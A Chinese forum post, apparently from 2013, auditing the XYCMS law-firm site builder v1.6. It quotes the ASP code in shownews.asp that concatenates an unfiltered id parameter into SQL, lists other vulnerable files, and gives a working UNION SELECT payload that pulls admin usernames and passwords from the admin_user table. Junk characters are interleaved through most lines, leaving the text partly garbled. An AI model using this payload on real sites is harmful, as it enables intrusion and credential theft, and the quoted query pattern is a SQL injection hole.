前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似- F" R5 `6 _/ `: U& Z6 ]
0 B" b/ r) r: t2 o3 @7 h淫荡分割线
/ v N6 K6 Q8 k--------------------------------------------------------
9 v6 [% X `; Z4 |0 d' ]2 l
2 Q& J. o& j$ {# m# Y0 P. F审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
, s8 f1 w2 Z) [, [源码地址:http://down.chinaz.com/soft/29233.htm7 I2 ?5 R" C" o' Q8 v5 p# o5 Y
. s! R' x9 v: \$ T漏洞文件:shownews.asp7 O1 M0 q$ z2 A; e) l) r2 ^ j
漏洞代码：7-13行/ ]9 L& S% A5 O- o% H7 [# H
! \& e; C; Y) D% }8 w6 T8 K % H: U9 _0 G: i3 N) K K n9 r6 w2 h* X
<% . [8 L) w1 J4 q9 `" D+ y
id=request.QueryString("id"): X4 L- B" v: O2 K
, R: [& l- v1 ?) fset snews=server.createobject("adodb.recordset")
- G! I% }( P9 ^% E. p$ Kexec="select * from [news] where id="&id
6 R: J5 M% `( j; U8 Nsnews.open exec,conn,1,1% ?) j: U' ^3 B
%>
0 e( ~4 S/ S% r+ ?" q0 G& Y6 {
6 c: V( u6 y% r
4 Z( r* y% V( Q8 }8 h+ `+ q5 s什么过滤都没有 直造成注入
: F$ w: y8 ^3 h6 U1 k: n
0 j. J/ N* J8 m7 U- o注入点:http://127.0.0.1:99/shownews.asp?id=xx
9 e7 H" ~& D! d% y! x% p
5 i h! i& i* X1 d9 X1 n' d其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找5 L2 Q4 u9 {. x- H2 m+ {
3 y) H5 b, n, p: {+ T0 g. G9 J7 p5 u
3 z1 C0 d8 v: |# \, [5 E1 h! X
exp: union select 1,admin,password,4,5,7 from admin_user
1 S; D- u5 E y8 C' A+ z+ i% A5 K0 {1 C* l6 ^
|
发表于 2013-4-4 17:28:12
收藏
支持
反对